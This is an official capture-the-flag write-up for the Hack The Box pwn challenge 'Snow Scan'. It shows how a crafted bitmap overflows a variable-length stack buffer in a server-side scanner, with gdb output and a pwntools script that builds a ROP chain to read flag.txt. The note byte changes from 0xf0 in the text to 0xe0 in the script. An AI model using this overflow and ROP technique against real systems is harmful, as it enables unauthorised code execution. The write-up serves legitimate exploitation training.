



HACKTHEBOX



Snow Scan

15th April 2022 / Document No. D22.102.260

Prepared By: ir0nstone

Challenge Author(s): 131LL

Difficulty: **Easy**

Classification: Official

Synopsis

Snow Scan is an easy pwn challenge that features a site with a bitmap upload page, running a scanner server-side against the uploaded file. Given a malicious bitmap, the attacker can trigger a buffer overflow within the scanner and gain code execution.

Skills Required

- Buffer Overflows

Skills Learned

- Basic ROP technique

Analysis

Protections

We will be running `file` & `checksec` to begin with:

```

$ file snowscan

snowscan: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked,
BuildID[sha1]=89d521dbc9e9c0b2c71d7516b312baa42c95e989, for GNU/Linux 3.2.0, not stripped

$ checksec --file=snowscan

RELRO           STACK CANARY      NX            PIE
Partial RELRO   Canary found     NX enabled    No PIE

```

The `file` command informs us that the binary is `statically linked`. This explains the rather large file size.

Looking at the output of `checksec`, the stack canary is alarming as it's hard to bypass, but we will quickly identify this as a false-positive. No `PIE` means we don't need to leak any addresses in order to start using gadgets.

Source Code

No disassembly is needed in this stage since the source code is given to us.

A `BMPFile` struct is defined near the top:

```

typedef struct {
    char signature[2];
    uint32_t fileSize;
    uint32_t reserved;
    uint32_t dataOffset;
    uint32_t headerSize;
    int32_t width;
    int32_t height;
    uint16_t colorPlanes;
    uint16_t bitsPerPixel;
    uint32_t compression;
    uint32_t imageSize;
    int32_t horizontalResolution;
    int32_t verticalResolution;
    uint32_t numColors;
    uint32_t importantColors;
} BMPFile;

```

The headers of the uploaded bitmap are read into such a `BMPFile struct` in the `loadBitmap()` function:

```

fread(&bmp->signature, sizeof(char), 2, file);
fread(&bmp->fileSize, sizeof(uint32_t), 1, file);
fread(&bmp->reserved, sizeof(uint32_t), 1, file);
fread(&bmp->dataOffset, sizeof(uint32_t), 1, file);
fread(&bmp->headerSize, sizeof(uint32_t), 1, file);
fread(&bmp->width, sizeof(int32_t), 1, file);
fread(&bmp->height, sizeof(int32_t), 1, file);
fread(&bmp->colorPlanes, sizeof(uint16_t), 1, file);

```

```
fread(&bmp->bitsPerPixel, sizeof(uint16_t), 1, file);
fread(&bmp->compression, sizeof(uint32_t), 1, file);
fread(&bmp->imageSize, sizeof(uint32_t), 1, file);
fread(&bmp->horizontalResolution, sizeof(int32_t), 1, file);
fread(&bmp->verticalResolution, sizeof(int32_t), 1, file);
fread(&bmp->numColors, sizeof(uint32_t), 1, file);
fread(&bmp->importantColors, sizeof(uint32_t), 1, file);
```

Once loaded in within `main()`, the `dataOffset` field contains the offset that the pixel bytes are stored in. `fseek()` is used to set the file position:

```
BMPFile *bmp = loadBitmap(file);

fseek(file, bmp->dataOffset, SEEK_SET);
```

A `uint8_t` buffer is declared, with a size depending on our bitmap's `imageSize` field. The pixel data is then read into the buffer, and a scan is performed:

```
uint8_t pixelBuf[bmp->imageSize];

int c = 0, i = 0;
while((c = fgetc(file)) != EOF)
    pixelBuf[i++] = (uint8_t)c;

scan(pixelBuf, bmp->width);
```

A noteworthy function is `printFile(char *fname)`, which we will likely be useful during exploitation.

Finding a Buffer Overflow

The program generally trusts the bitmap we have supplied (minus a few checks). A serious bug can easily be found in `main()`:

```
uint8_t pixelBuf[bmp->imageSize];

int c = 0, i = 0;
while((c = fgetc(file)) != EOF)
    pixelBuf[i++] = (uint8_t)c;
```

We control the bitmap `imageSize` field, so we can make this buffer as long or as short as we need - within the acceptable range of 400-900 bytes long, as specified by the constants

```
#define MIN_IMGSIZE 400 // 20x20
#define MAX_IMGSIZE 900 // 30x30
```

Which are then used in `loadBitmap()`:

```
if(bmp->imageSize < MIN_IMGSIZE || bmp->imageSize > MAX_IMGSIZE)
    error("Invalid bitmap size. The acceptable resolution range is 20x20 to 30x30.");
```

Then, the pixel bytes are read until an EOF is encountered. In an ordinary bitmap this would be fine, but what if the pixel data is longer than the `imageSize` attribute suggests? This is a classic **buffer overflow vulnerability**, and we will be taking advantage of it to pwn this challenge.

Exploitation

Planning a ROP Chain

Now let's focus on what our ROP chain will look like. The easiest way is to use the `printFile()` function and pass in a pointer to `flag.txt`. In order to do this, we first need to find a way to write the string "flag.txt" to a known address in memory, so we can refer to it using a pointer.

Since the binary is statically linked, there are plenty of gadgets to choose from to achieve this. We will be using this `mov qword ptr` gadget:

```
pwndbg> rop --grep ": mov qword ptr "  
...  
0x0000000000044e2bf : mov qword ptr [rdi], rsi ; ret  
...
```

The `.bss` is an ideal section to write in. We will load the address of `.bss` into RDI, and the string "flag.txt" into RSI. Since it's just 8 bytes long, one write is enough. After this, we just need to call `printFile`.

Getting RIP Control

Let's now focus on building a bitmap and incorporating the payload into it. We can use the dummy bitmap given to us as our base, but building a differently sized bitmap from scratch is also a valid approach.

Let's create a bitmap with an overflowing cyclic pattern to determine the offset the crash occurs at:

```
from pwn import *  
  
# use dummy bitmap as a base  
with open('dummy.bmp', 'rb') as f:  
    dat = f.read()  
  
dataOffset = struct.unpack('<I', dat[10:14])[0]  
# cut out existing pixel data  
dat = dat[:dataOffset]  
# insert pattern  
dat += cyclic(800)  
  
# save  
with open('cyclic.bmp', 'wb') as f:  
    f.write(dat)
```

Running in `gdb`:

```

pwndbg> r ./cyclic.bmp
Program received signal SIGSEGV, Segmentation fault.
0x0000000000402530 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

[
REGISTERS / show-flags off / show-compact-regs off
]
*RAX 0x616d6861616c6861 ('ahlaahma')
*RBX 0x7fffffffde20 ← 0x6861616368616162 ('baahcaah')
*RCX 0x61
*RDX 0x7fffffffdb6a ← 0x6165616161646161 ('aadaaaea')
*RDI 0x4c6b61 ← 0x0
*RSI 0x10
*R8 0x61
*R9 0x7c
*R10 0x4c1800 (main_arena+96) → 0x4c7db0 ← 0x0
*R11 0x246
*R12 0x2bc
R13 0x0
*R14 0x2bc
R15 0x0
*RBP 0x7fffffffdea0 → 0x403550 (__libc_csu_init) ← endbr64
*RSP 0x7fffffffdb60 ← 0x6161616261616161 ('aaaabaaa')
*RIP 0x402530 (main+463) ← mov eax, dword ptr [rax + 0x14]

[ DISASM / x86-64 / set emulate on
]
▶ 0x402530 <main+463> mov     eax, dword ptr [rax + 0x14]
  0x402533 <main+466> mov     edx, eax
  0x402535 <main+468> mov     rax, qword ptr [rbp - 0x60]
  0x402539 <main+472> mov     esi, edx
  0x40253b <main+474> mov     rdi, rax
  0x40253e <main+477> call    scan                                <scan>

```

It crashes with a Segmentation Fault *before* the `ret` instruction. This is due to the following assembly in `main`, before the call to `scan`:

```

0x000000000040252c <+459>: mov     rax,QWORD PTR [rbp-0x50]
0x0000000000402530 <+463>: mov     eax,DWORD PTR [rax+0x14]
0x0000000000402533 <+466>: mov     edx,eax
0x0000000000402535 <+468>: mov     rax,QWORD PTR [rbp-0x60]
0x0000000000402539 <+472>: mov     esi,edx
0x000000000040253b <+474>: mov     rdi,rax
0x000000000040253e <+477>: call    0x4022e1 <scan>

```

The problem here is that the array is a **variable-length array** (or VLA):

```
uint8_t pixelBuf[bmp->imageSize];
```

This means that the length of the array changes depending on calculations during execution. In order to work, VLAs store a pointer to themselves on the stack as well. We are **overwriting** this pointer, which leads to the segmentation fault - we are overwriting the pointer we are using to write to!

In order to bypass this, we'll have to partially overwrite the last byte of this VLA pointer to point **further up the stack**, to enable us to overwrite the return pointer.

We can see that the VLA pointer is located at `rbp - 0x60`:

```
pwndbg> x/gx $rbp-0x60
0x7fffffffde40: 0x00007fffffffdb60
pwndbg> x/s 0x00007fffffffdb60
0x7fffffffdb60: 'a' <repeats 200 times>...
```

`rbp-0x64` holds the character that is getting written:

```
pwndbg> x/wx $rbp-0x64
0x7fffffffde3c: 0x00000061
```

By debugging, we can see that there is `736` bytes until the VLA pointer. We'll pad up to it, overwrite it with a high byte (say `0xf0`), then see where on the stack our exploit ends up.

```
dat += b'a'*736
dat += b'\xf0'
dat += b'A' * 8
```

If we break on the `ret` in `main`, we see that RSP has the value `0x7fffffffdef8`:

```
*RSP 0x7fffffffdef8 → 0x402d80 (__libc_start_main+1168) ← mov edi, eax
```

Meanwhile, our `AAAAAAAA` is located at `0x7fffffffdec1`:

```
pwndbg> search -t bytes AAAAAAAAA
Searching for value: 'AAAAAAAA'
[heap] 0x4c74c7 'AAAAAAAA'
[stack] 0x7fffffffdec1 0x4141414141414141 ('AAAAAAAA')
```

The difference between these two is `0x37`, so we pad with `0x37` `A` characters and get up to the saved return pointer:

```
pwndbg> x/gx $rsp
0x7fffffffdef8: 0x0000000000402d80
pwndbg> x/gx $rsp - 0x8
0x7fffffffdef0: 0x4141414141414141
```

Now we can just write our ropchain to the stack!

Developing the Ropchain

We can prettify the current chain using `pwntools`, and add in the call to `printFile`:

```
bss = elf.bss(32)
# mov qword ptr [rdi], rsi
mov_qword = 0x44e2bf
```

```

rop = ROP(elf, checksec=False)

rop.raw(dat)
rop.raw('a' * 736)
rop.raw(b'\xe0')
rop.raw('A' * 0x37)
rop(rdi=bss, rsi=b'flag.txt')
rop.raw(mov_qword)
rop.printFile()

# save
with open('cyclic.bmp', 'wb') as f:
    f.write(rop.chain())

```

Running it under the same GDB session, we get the flag:

```

pwndbg> r ./cyclic.bmp
Starting program: /home/ir0nstone/Documents/writeups/snowscan/snowscan
./cyclic.bmp
[01] : PASS
[...]
[25] : PASS
Breakpoint 1, 0x0000000000402565 in main ()
pwndbg> c
Continuing.
HTB{f4k3_fL4g_f0R_t3st1ng}

[Inferior 1 (process 8485) exited normally]

```

The slight issue is that, once we leave GDB, the offsets are unlikely to be static. It may not be successful every time, but if we try it out of GDB it works on the third try:

```

$ ./snowscan ./exploit.bmp
[01] : PASS
[...]
[25] : PASS
$ ./snowscan ./exploit.bmp
Segmentation fault
$ ./snowscan ./exploit.bmp
[01] : PASS
[...]
[25] : PASS
HTB{f4k3_fL4g_f0R_t3st1ng}

```

Uploading the Bitmap

We then run the Dockerfile and try to upload it; the second time round, it spits this out:

```
[09] : PASS
[10] : PASS
[11] : PASS
[12] : PASS
[13] : PASS
[14] : PASS
[15] : PASS
[16] : PASS
[17] : PASS
[18] : PASS
[19] : PASS
[20] : PASS
[21] : PASS
[22] : PASS
[23] : PASS
[24] : PASS
[25] : PASS
HTB{f4k3_fl4g_4_t35t1ng}
```

It works locally! Let's try it on the remote instance:

```
[10] : PASS
[11] : PASS
[12] : PASS
[13] : PASS
[14] : PASS
[15] : PASS
[16] : PASS
[17] : PASS
[18] : PASS
[19] : PASS
[20] : PASS
[21] : PASS
[22] : PASS
[23] : PASS
[24] : PASS
[25] : PASS
HTB{13t_1t_sn0w_w1th_4n_0v3rf10w}
```

We get the flag!